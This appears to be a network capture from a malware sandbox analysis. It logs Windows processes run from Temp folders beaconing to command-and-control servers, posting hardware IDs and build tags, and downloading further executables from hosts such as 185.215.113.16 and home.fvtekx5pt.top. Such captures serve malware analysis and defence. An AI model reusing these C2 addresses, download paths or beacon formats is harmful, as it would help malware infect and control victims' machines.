Dec 2, 2024 11:21:44.862267017 CET	2578	OUT	Data Raw: 38 66 38 53 6b 35 36 35 5c 2f 38 41 31 2b 39 4c 43 66 33 66 4b 65 62 4e 6d 5c 2f 38 41 39 48 6e 69 48 32 36 62 5c 2f 75 4b 38 48 6a 39 4b 31 4b 4b 73 66 2b 35 36 5c 2f 77 44 48 76 32 48 2b 52 33 35 46 48 5c 2f 4c 54 35 30 38 38 79 59 5c 2f 30 65 Data Ascii: 8f8Sk565\/8A1+9LCf3fKebNm\/8A9HniH26b\/uK8Hj9K1KKsf+56\/wDHv2H+R35FH\/LT5088yY\/0e4k+w\/jpNTRnzPkf9zbf8S+1k\/H8fp6\/lUPmP5k2x4\/9I\/1v7r2\/XrzWntPL8f8AgGntPL8f+AU\/M\/eTO7ycf8vHS+6\/5+n5VJJ+7eb5PJ\/d\/vbfk9f8\/n0qyY0+\/bJceT\/z3\/56\/wDYJ\/z+V
Dec 2, 2024 11:21:44.862463951 CET	18046	OUT	Data Raw: 36 5c 2f 5a 38 5c 2f 5c 2f 71 5c 2f 58 74 37 59 71 48 79 30 6b 37 78 5c 2f 36 72 48 32 69 33 5c 2f 36 43 42 6f 41 5a 4a 2b 38 5c 2f 34 39 76 39 54 63 64 4c 63 66 35 5c 2f 70 39 4f 6c 51 38 65 59 64 5c 2f 38 41 7a 79 31 44 79 76 33 66 5c 2f 70 32 Data Ascii: 6\/Z8\/\/q\/Xt7YqHy0k7x\/6rH2i3\/6CBoAZJ+8\/49v9TcdLcf5\/p9OlQ8eYd\/8Azy1Dyv3f\/p29f89Kmj2fOnMP\/PW4H\/LH\/sLfp79zR5fmRzf9dci4nP8AoM2n\/wCen+NB0FOPn\/npdef+H+eoxn8cdiP\/AJbb\/tEM1vzLz\/n\/AOtirk0byR\/9Nrj\/AFVt78dP8\/n3JD5kkxdvJ\/H\/AJiHqe3+eK
Dec 2, 2024 11:21:44.862576962 CET	12890	OUT	Data Raw: 70 7a 39 6a 55 39 68 44 69 66 48 53 70 75 55 58 56 70 7a 6f 34 52 51 72 4b 6c 54 71 30 71 33 7a 6a 38 4c 5c 2f 32 67 50 69 37 38 64 72 4c 39 6b 61 2b 2b 4d 58 6a 33 78 46 38 54 5c 2f 6a 50 34 56 5c 2f 5a 7a 38 64 65 44 5c 2f 77 42 6f 6e 78 6c 34 Data Ascii: pz9jU9hDifHSpuUXVpzo4RQrKlTq0q3zj8L\/2gPi78drL9ka++MXj3xF8T\/jP4V\/Zz8deD\/wBonxl4wHiy98WXfi+0\/aE+NevfDe11\/wAWeJ7MN43uLP4Sa14Hhtdbt9Y16S0sTbaHfajHd6U2nWX0R4tgkuvCvia2hXdNceH9ZgiX+9JLptzGi\/izAVpW2l6bZOZLPTrG0kIwXtrS3gcjngtFGjEcngnHJq6QGBVgCC
Dec 2, 2024 11:21:44.862780094 CET	1289	OUT	Data Raw: 66 45 76 5c 2f 41 44 44 7a 33 37 66 5c 2f 41 4b 36 5a 4a 2b 37 75 4e 6b 33 6c 32 33 32 65 49 5c 2f 36 50 5c 2f 77 41 2b 57 6f 66 6c 30 5c 2f 6c 37 56 44 44 5c 2f 41 4c 50 2b 70 5c 2f 35 61 5c 2f 76 66 5c 2f 41 4e 66 38 71 6d 58 30 5c 2f 77 42 64 Data Ascii: fEv\/ADDz37f\/AK6ZJ+7uNk3l232eI\/6P\/wA+Wofl0\/l7VDD\/ALP+p\/5a\/vf\/ANf8qmX0\/wBd+6\/5d5u30\/EfhQASfvJNif8APL\/j4\/57aj1\/n\/hUUf7yP5LnvcXUsHlD7b\/n\/Ck8x449\/wBm8n1Nv6\/5+poeP7P5yI\/7nzebj\/P\/ANfFABJGfLhT7NHDNn\/nr+PX\/PQUZSST5P8Anl\/y8c+dk
Dec 2, 2024 11:21:44.862978935 CET	11601	OUT	Data Raw: 73 66 66 38 4b 41 48 66 50 5c 2f 73 5c 2f 72 52 38 5c 2f 2b 7a 2b 74 4e 5c 2f 35 5a 5c 2f 77 43 66 37 31 53 56 6e 37 54 79 5c 2f 48 5c 2f 67 45 75 61 58 66 64 72 37 67 6f 6f 6f 72 4d 78 43 69 70 50 4c 39 5c 2f 30 5c 2f 2b 76 52 35 66 76 38 41 70 Data Ascii: sff8KAHfP\/s\/rR8\/+z+tN\/5Z\/wCf71SVn7Ty\/H\/gEuaXfdr7gooorMxCipPL9\/0\/+vR5fv8Ap\/8AXrT2nl+P\/AAjoqxUf7z\/ADitAI6Kc\/3j+H8hTaACiiigAqPy\/f8AT\/69SUUF878v6+YxwTjAp9FFAc78v6+Y35\/9n9aSQEqce\/8AI0+igOd9kFR\/vP8AOKkooDnfl\/XzI5O34075\/wDZ\/Wmydv
Dec 2, 2024 11:21:44.863122940 CET	2578	OUT	Data Raw: 2b 2b 4b 68 2b 62 37 38 4b 66 76 72 66 6e 5c 2f 52 5c 2f 77 43 6c 54 53 52 35 6a 2b 7a 5c 2f 41 4f 70 6d 75 4a 64 50 5c 2f 77 42 49 75 4a 66 38 39 50 70 32 6f 38 76 7a 4a 4e 5c 2f 32 62 39 7a 5c 2f 41 4d 74 62 61 33 5c 2f 35 59 5c 2f 38 41 55 55 Data Ascii: ++Kh+b78Kfvrfn\/R\/wClTSR5j+z\/AOpmuJdP\/wBIuJf89Pp2o8vzJN\/2b9z\/AMtba3\/5Y\/8AUU\/+v\/k6ez8\/w\/4J2fu\/6uQyfvMs7x9f3uZf9T\/nmmeX\/wA\/I\/ciXObj\/j+6\/wCefy4qb57j\/nnD9nutP\/5Y8Q8f57\/TPFM6yfJ5fkj\/AEX\/AEiX\/P1\/Ic0ez8\/w\/wCCaBJv\/ff8sf3OP9
Dec 2, 2024 11:21:46.555876970 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Mon, 02 Dec 2024 10:21:46 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 5a 43 51 6e 41 48 4e 66 55 71 72 36 76 45 68 36 31 37 33 33 31 33 34 39 30 36 Data Ascii: ZCQnAHNfUqr6vEh61733134906

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49771	34.159.64.221	80	1912	C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:47.477785110 CET	123	OUT	GET /RrlNvinfLqYZQoxgChZr1732768478?argument=ZCQnAHNfUqr6vEh61733134906 HTTP/1.1 Host: home.fvtekx5pt.top Accept: /
Dec 2, 2024 11:21:47.932864904 CET	1289	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Mon, 02 Dec 2024 10:21:47 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="IMfQuPfuwWpUesQqK;" last-modified: Thu, 28 Nov 2024 04:34:38 GMT cache-control: no-cache etag: "1732768478.266244-10816560-2854558003" Data Raw: 02 99 8d 56 00 b7 56 59 8c 4d 02 bb c2 8c 7a 58 5e a4 40 f2 a4 69 14 32 67 78 2d 22 87 cd c4 76 2b 8d f5 8d e2 56 d9 92 cc b9 ed 0c 1a ae df 0b 04 0a e4 bb 71 e1 bc f0 4f 51 ad b4 dd b8 73 6d fb 70 b8 75 ae f0 80 c4 c4 6c 9d 0a d0 44 3d 24 49 3a ed 50 e0 2f ad 39 95 8f 81 ed 8f df cd de 17 6d 8a d4 d7 7c d3 c1 8f a5 8c 15 fc a1 02 f5 03 79 68 7a de f5 ba d7 9e a1 ef 6c 4b b1 26 43 72 94 53 d3 4f 1e 37 36 41 7d 62 ba 00 a4 76 ce a8 72 13 64 62 10 16 0d fb be 83 b4 a9 2d 45 e7 63 0d db ff 46 30 47 c7 6e 31 c2 05 ff 83 c6 fd a9 10 55 39 9a 14 77 d3 82 f9 a1 14 8b e4 8a 24 cc 40 0d 8d fc e9 85 00 fc e2 2c 6a 8d 6b bc fa 7b 7f b5 ac a2 ec 5d b2 36 bb a1 78 84 83 73 6d 51 e6 d8 c0 a9 fd 55 c7 b4 56 aa 2e 5a 31 f6 7c 39 ee a5 f7 25 6b 9f f4 cb 06 6e 45 8f f5 0c fb 38 a1 4c ad 4f f3 78 ba 4b f7 90 0a d5 35 75 59 8c 59 0b d0 77 a5 09 3c 73 25 76 7c f9 fd 4a 9f 22 33 95 85 2c 08 12 ee 38 18 b9 7d ac c7 77 63 f4 8f 79 25 5b d6 71 23 46 64 ef 2d 0f 2a 26 26 63 e0 eb c8 f0 2a 07 77 25 04 da 81 05 22 80 ba 70 18 [TRUNCATED] Data Ascii: VVYMzX^@i2gx-"v+VqOQsmpulD=$I:P/9m\|yhzlK&CrSO76A}bvrdb-EcF0Gn1U9w$@,jk{]6xsmQUV.Z1\|9%knE8LOxK5uYYw<s%v\|J"3,8}wcy%[q#Fd-&&cw%"p7E_U8E<);L8PBu[N.RcOa'ruVJ'07_ROsd,dc38QD=B0>p&S=APc{$A?;V2nlbPJSZqWshQa;P2Q>5VPv.Nu[cG/}qU=KS8D(JfV(pQ"rJudHO$y;#4n"H'rh'-vR;W~gV,StZZ6hLrwsf[K2W3O;\|Oe'ZvH;E>UR/{YsT+owrrG?1yiX [c`S+w@y&zBxeYp#e[I(I/[\%JRxKPB4{>pqr IhJ}-AYG>R
Dec 2, 2024 11:21:47.933078051 CET	1289	IN	Data Raw: b7 a5 3f 71 16 a5 77 6b 65 be 30 81 39 5e de 6a f9 88 38 28 01 85 76 b6 92 bd f6 d3 c8 42 b9 64 67 72 95 1b 62 88 ec ed 44 31 37 a0 4d 68 a6 69 61 48 6b 75 f7 d3 75 37 ee 7a 42 8f 7b a7 39 3b c5 9f 3a 7e 9b 72 ed be d1 d0 38 40 d8 3e 9b 93 f6 da Data Ascii: ?qwke09^j8(vBdgrbD17MhiaHkuu7zB{9;:~r8@>S+cXMIIwjnq#CCK@v rhS*;%_G0';0MG8jb[T9Md4M}O$-6qf=S@u;E";)~\|
Dec 2, 2024 11:21:47.933209896 CET	1289	IN	Data Raw: 5e 29 8c f3 0c d8 6c b9 67 d1 e3 a6 a7 d5 0b 5d ca ae ef 11 01 88 61 17 46 77 f1 f0 c1 35 95 32 6f ef cd 1b c8 a1 58 96 13 29 15 eb 64 69 ad ad 4b 77 c3 a2 ac 27 28 fa 69 6e e8 da 02 c8 f1 f9 93 b0 23 93 4b 6c db d6 71 8a 80 7c 2e a4 95 a5 28 98 Data Ascii: ^)lg]aFw52oX)diKw'(in#Klq\|.(0?NT{MP&}aF^N#meh:WJ]kV#R<jK)x[5A %SLVyyR3@N7Y"am`m7bFS">Bpk7T<C
Dec 2, 2024 11:21:47.933229923 CET	1289	IN	Data Raw: 95 1b 3a 26 4b 7e a9 3e c7 4c 4a 97 e0 06 cc 35 52 0e 74 6a 01 0c 67 7e 6f 50 b1 5d c7 e1 e6 34 b2 24 09 7e ec 73 06 82 85 6e fd 89 f3 d5 ec df 48 0f 1c 20 52 3d 76 8e 77 8b 31 06 54 33 9a 45 61 47 89 7e 6a d7 6a 2f 48 ba 50 a6 56 77 5f 84 af 75 Data Ascii: :&K~>LJ5Rtjg~oP]4$~snH R=vw1T3EaG~jj/HPVw_uG=4n)G}MM[iVL,REZ;HQ:GLl-q-7O!6xsvkZ4{8gr?,<E`f{9\
Dec 2, 2024 11:21:47.933420897 CET	1289	IN	Data Raw: f2 1c ab f8 bc 22 83 71 78 0c 68 96 66 ff aa 46 b4 7f 3c c6 59 ea 69 c7 46 d0 bd 10 c0 0c 0d e5 a7 fc 6f af b4 75 08 7b c5 65 65 8b 13 c3 69 1e 33 5a 18 ed a1 9a 10 b7 dd 34 99 3f 14 36 86 e8 1c 8c ae ef 55 c1 09 47 b3 7b 92 00 42 09 e1 17 69 bd Data Ascii: "qxhfF<YiFou{eei3Z4?6UG{Bi3x4{Y){<t"kFu\|=??P^X.~7]A<NQ,hW!JZ(7H}nt%-(~nJWJ&&#
Dec 2, 2024 11:21:47.933470011 CET	1289	IN	Data Raw: b2 3d 85 88 3a bc c5 3c 04 b0 5a f6 f1 c7 45 63 2b cc 66 a1 5c 97 d9 15 7c 5b 25 73 ea 04 3d 02 30 bd 92 21 ce 1d f9 27 6b 5b 4e 18 54 d0 c7 3c 1b de 60 85 0e 05 e7 90 02 42 2c e0 86 ed be 8b 2a 0c 17 a3 d4 12 25 60 59 5b 07 32 72 52 87 09 83 43 Data Ascii: =:<ZEc+f\\|[%s=0!'k[NT<`B,%`Y[2rRCkzgeLw6~86tBEr\|X.0YYO7NXQ PA,2u`IO82G5cM-`cHFPJHpsv5\|0[cnL
Dec 2, 2024 11:21:47.933485031 CET	1289	IN	Data Raw: 5f 3d ec 8d 4d 3d 11 d3 34 76 aa 0d a0 04 bf 2a 81 35 43 df 94 e3 52 d8 45 74 22 15 1c e4 70 9e 39 98 db 8c cb 8d 90 b1 65 f4 82 8a c8 ff db 2d d3 0e 6f 53 ce f7 fb 19 c6 c6 07 a8 ab a5 e2 15 76 8a e8 6e 30 14 09 cd 91 3a 51 52 3a 0b e0 ff d3 6c Data Ascii: _=M=4v5CREt"p9e-oSvn0:QR:l;iQ<d?zn-&nzIu46dUj.r{RW\oIB622g iA'?]R7`SvE5'\#h2):G
Dec 2, 2024 11:21:47.933693886 CET	1289	IN	Data Raw: 78 4f 5d 87 46 f8 a3 31 0e 26 14 6d 7a f8 2a 73 6e 21 2d 75 b3 d6 a8 b5 bb e8 d8 2b de e4 d7 0e 20 ce 46 e1 80 f9 57 f7 e5 22 ad 76 36 86 f9 b8 c5 b3 db f9 6e f2 7f 09 26 89 bf 91 73 08 9f bf c3 7f 2a 54 f3 37 72 7d 1e 72 93 42 23 ca 49 3e 56 fc Data Ascii: xO]F1&mzsn!-u+ FW"v6n&sT7r}rB#I>Vp6)C8dj=sa!e&!p 7Tw7`A({yQY9cH)`YC{!V:!WY:cO+L,YGRj]?}JhehAVNv
Dec 2, 2024 11:21:47.934447050 CET	1289	IN	Data Raw: 4b c7 5d 28 2d 2c 46 25 e3 54 df 98 32 83 f1 cd a4 d0 00 38 c1 02 d9 ab 35 ee 5a a2 f1 87 75 e4 f2 c8 f2 80 32 c7 fc b7 94 32 4d d3 f0 63 a5 a8 88 b8 12 a4 ba 31 08 38 2a 73 49 7f 67 bb 7a b1 a7 74 1e 6e 34 2a 86 ef 5e d8 40 80 58 3c 09 d5 a5 70 Data Ascii: K](-,F%T285Zu22Mc18sIgztn4^@X<p*L1[=x/NpWHop)[e@KBO0{av7?M[r1a9is\?+t^t^8za ' x{E-UlT5Rw1"2~vfk ?p
Dec 2, 2024 11:21:47.934607029 CET	1289	IN	Data Raw: 5c 64 47 56 55 56 e9 3a c9 dc 84 67 64 14 0c c7 8b 7f f8 48 f6 2a 53 60 fd 1d 08 27 d2 ac 3b 35 f0 b2 b7 f1 ec d2 d3 16 55 45 67 4e a9 6d eb 0f 8f cb c1 d6 eb 18 2f e6 a6 94 84 9f 60 cc 0c 0c 9a d4 fa a2 8e 08 33 07 0c 24 84 3e ea a6 bb 37 04 5e Data Ascii: \dGVUV:gdH*S`';5UEgNm/`3$>7^hcpO~Eh^9RR!m&cPJAi;8nq?3?fkJ$,OBks#UUXw((XK=L51+#'AGKBZ
Dec 2, 2024 11:21:48.225209951 CET	1289	IN	Data Raw: 88 3a b1 65 3a 0f 94 03 76 24 bc e2 0e ce 8b 51 c5 71 86 da 45 6a e8 66 21 eb 2c 13 fa 4a c0 b2 36 81 a9 30 74 62 fe ee a5 6f 27 90 ac 45 1e 2a 5e 4b a2 7e 84 cd 55 92 19 90 f1 f0 32 6f 18 59 2f 48 7a 71 57 20 1a 9f b5 76 fc a5 a0 83 00 56 e1 99 Data Ascii: :e:v$QqEjf!,J60tbo'E*^K~U2oY/HzqW vVfu}af"3pZ8Jo0mV=/n,u{c@UV- ZRBBgwgo8M%\|y\|Sm(`nX!PD'1=[sJ<b2~.]-t>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49773	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:49.381900072 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 31 32 36 39 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011269001&unit=425316567296
Dec 2, 2024 11:21:49.707582951 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49774	185.215.113.16	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:50.031188965 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 2, 2024 11:21:50.353466988 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:50 GMT Content-Type: application/octet-stream Content-Length: 1760256 Last-Modified: Mon, 02 Dec 2024 09:40:51 GMT Connection: keep-alive ETag: "674d80a3-1adc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3c e7 4a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 a0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 67 00 00 04 00 00 51 2f 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPEL<Jg"g@gQ/@M$a$$ $b@.rsrc$r@.idata $t@ )$v@kolocmpo@PN>x@navlvyoqg@.taggant0g"@ [TRUNCATED]
Dec 2, 2024 11:21:50.353682041 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:50.353837013 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:50.353961945 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:50.354015112 CET	1289	IN	Data Raw: f4 44 6b 40 c1 74 1c fe 34 24 6a 80 f0 50 4c b8 4c 8e 6b b0 0d e9 11 b0 4f 06 69 f4 84 3c de 50 de 1c a5 59 a5 aa 73 48 d5 9b 7f 40 dd e3 4b fc a4 37 57 01 a4 fd 2a e8 b4 50 a3 48 a7 7d bd 49 61 b4 d9 6f 8a e4 b9 60 97 a0 87 46 e6 0c 24 be 3d 04 Data Ascii: Dk@t4$jPLLkOi<PYsH@K7WPH}Iao`F$=+cTF.6_6kL[43GXgOEPJS F=$az=Z?X9c]B)-ZA)/`-CskZ"I[fXF5J#N,uXk,#i$CaT\X(_@F
Dec 2, 2024 11:21:50.354065895 CET	1289	IN	Data Raw: 45 2b da 38 94 23 3f d0 43 e7 dc f1 a2 23 0a 97 dd 43 c3 70 26 1f cc e2 d7 36 5f 1e ca 55 74 0d 43 76 7c 24 ed 2e 73 92 72 a3 4e 61 5d 9b 41 3a 2a eb 88 8a 3e 88 c6 15 56 c8 41 39 ea 98 37 22 13 43 91 1a ef bb a3 e3 23 6d 2b 88 18 45 ee 0b af 8f Data Ascii: E+8#?C#Cp&6_UtCv\|$.srNa]A:>VA97"C#m+EBCFLL%nsLfl8kHCBNHz/5,6,-vFO$_:)ZT-u.4>K*/`BCcTu~G(tBO$h]{
Dec 2, 2024 11:21:50.354343891 CET	1289	IN	Data Raw: bf 54 44 f5 67 ba d6 10 5f 24 20 dd 95 43 ab 9d 0f fc d6 f4 4d 5c dc 80 67 a4 2c c0 6d c4 c4 98 01 5c 7f 28 a1 88 54 06 54 28 db d0 6d 95 57 55 a9 bd 60 5e 59 08 3b a4 7e bf 2d 56 26 10 d9 78 4a 4c 28 ef 04 5a c1 4c 5b c1 64 d4 1f c0 19 05 a6 e1 Data Ascii: TDg_$ CM\g,m\(TT(mWU`^Y;~-V&xJL(ZL[djIHRoP$Z^#FsZ0+ZjFXTd{uKO/<7gnvg,j{%hl*~\"S@0LX4d~cv%k=UeW<&f.<l>^=wUL&OR>vNa
Dec 2, 2024 11:21:50.354384899 CET	1289	IN	Data Raw: 03 d8 94 59 5b 91 50 33 95 c3 56 43 b4 ea 25 b7 40 6d dd 24 74 da ac 7d 40 c4 dd 4f 0e c8 04 4c 1e da ed 26 a8 d8 0c cc 53 e1 5c 27 db fd 99 a4 9d 05 3d 2b f8 d6 5c 22 c3 75 5d 4f 09 24 a5 59 d0 a4 e8 6b c2 4b a0 43 ba 44 25 f3 48 f5 a9 44 4e dd Data Ascii: Y[P3VC%@m$t}@OL&S\'=+\"u]O$YkKCD%HDN'7LR\D%kOG^N~M7@h_oLZ%0#Z5@Im@KY[aTU#Ydk\TUBKqD9MPYK;LO4L"VJ^N[=0'"\!G]R_"O
Dec 2, 2024 11:21:50.354412079 CET	1289	IN	Data Raw: c5 de 67 f6 e3 41 53 b0 a4 52 67 ba b0 dc 7e e3 a3 9a 84 88 14 2d 0b fc ca c4 24 bf 1d e6 4d 5b f4 24 59 8b 50 3b b5 a2 de d0 2f 4e cc d0 a7 8d 21 d1 4a d7 22 bc 59 48 75 c0 77 c6 e4 59 64 ff c2 9c a7 4f 91 01 cf 7f 15 73 a4 ab 25 74 5b fa f2 21 Data Ascii: gASRg~-$M[$YP;/N!J"YHuwYdOs%t[![e%HVS%dRw(\~*o!b'D/IvZz#\'Y@ISh@yRm-?uLp@rXe_X<Y[]AmR}(Nu_}<LL_Vm
Dec 2, 2024 11:21:50.354563951 CET	1289	IN	Data Raw: e3 77 88 02 3e df 7b ba 6a 54 c5 94 bc 4e c3 0f fc b3 f4 e7 4a 59 3e a8 0f 08 64 f9 70 75 3c 9e f2 33 65 a8 dc 42 3d bd 54 47 d1 72 46 60 44 1c 47 8e 30 5f 9c 7a ec 9a 2d e6 71 bb ca a3 bb b6 40 c6 5b 23 a1 ad 67 de 69 7a 3a d2 dc a2 34 e4 a4 ed Data Ascii: w>{jTNJY>dpu<3eB=TGrF`DG0_z-q@[#giz:4 ;/[X0"PX"=@ce<KHVd?d)y$-@c]lmfRVLPD TtIS3\|gJg9I8\|w;li?%r^[g82X \| _i
Dec 2, 2024 11:21:50.675860882 CET	1289	IN	Data Raw: 21 ae 0e 76 44 2e ee 20 24 ed 0e 81 3f e0 3e f5 28 26 14 75 64 d8 1b 91 ca 7c 50 2e c6 22 95 d0 e3 d8 3f 90 24 61 1d 56 08 02 50 c2 df 93 72 ba 18 4c a5 e4 34 44 44 5c ef 1b a8 59 b5 1a ac 56 c6 11 27 a2 bb 85 a4 20 20 c8 db fc 31 2c 42 6c cc 50 Data Ascii: !vD. $?>(&ud\|P."?$aVPrL4DD\YV' 1,BlP@dHWER;%Z".;G8x=7o0p6_p.nlu#Wru>><lMk@V9p{ /I1*I50OXXT,'TtZ~

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.11.20	49776	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:55.086916924 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 11:21:55.410119057 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:21:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:21:55.411719084 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 36 30 41 41 37 35 35 43 42 36 31 37 30 39 33 34 31 30 38 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="hwid"6D60AA755CB61709341086------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="build"drum------DGDBKFBAKFBFHIECFBFI--
Dec 2, 2024 11:21:55.737613916 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:21:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49777	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:56.569591045 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 31 32 37 30 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011270001&unit=425316567296
Dec 2, 2024 11:21:56.895412922 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49779	185.215.113.16	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:57.220623016 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
